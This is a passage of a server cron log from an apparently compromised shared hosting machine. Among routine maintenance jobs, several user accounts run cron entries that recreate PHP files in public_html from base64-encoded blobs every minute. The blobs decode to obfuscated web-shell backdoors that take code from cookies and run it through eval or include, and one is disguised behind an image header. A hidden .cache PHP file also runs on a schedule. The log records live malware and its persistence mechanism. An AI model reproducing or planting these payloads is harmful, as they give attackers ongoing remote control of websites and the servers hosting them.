25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:29:01 medusa CROND[7626]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:29:01 medusa CROND[7628]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:29:01 medusa CROND[7632]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:29:01 medusa CROND[7634]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 09:29:01 medusa CROND[7636]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:29:01 medusa CROND[7640]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:29:01 medusa CROND[7642]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:30:01 medusa CROND[9180]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 09:30:01 medusa CROND[9190]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 09:30:01 medusa CROND[9194]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 09:30:01 medusa CROND[9196]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 09:30:01 medusa CROND[9203]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 09:30:02 medusa CROND[9211]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 09:30:02 medusa CROND[9215]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:30:02 medusa CROND[9216]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:30:02 medusa CROND[9218]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:30:02 medusa CROND[9219]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:30:02 medusa CROND[9217]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 09:30:02 medusa CROND[9221]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 09:30:02 medusa CROND[9222]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 09:30:02 medusa CROND[9223]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:30:02 medusa CROND[9226]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:30:02 medusa CROND[9231]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 09:30:02 medusa CROND[9230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:30:02 medusa CROND[9235]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:30:02 medusa CROND[9237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 09:30:02 medusa CROND[9232]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 09:30:02 medusa CROND[9239]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:30:02 medusa CROND[9234]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 09:30:02 medusa CROND[9240]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:30:02 medusa CROND[9238]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 09:30:02 medusa CROND[9246]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 09:30:02 medusa CROND[9248]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 09:30:02 medusa CROND[9247]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 09:30:02 medusa CROND[9264]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:30:02 medusa CROND[9258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:30:02 medusa CROND[9259]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 09:30:02 medusa CROND[9245]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 09:31:01 medusa CROND[11156]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:31:01 medusa CROND[11189]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 09:31:01 medusa CROND[11191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:31:01 medusa CROND[11212]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:31:01 medusa CROND[11213]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:31:01 medusa CROND[11214]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:31:01 medusa CROND[11215]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
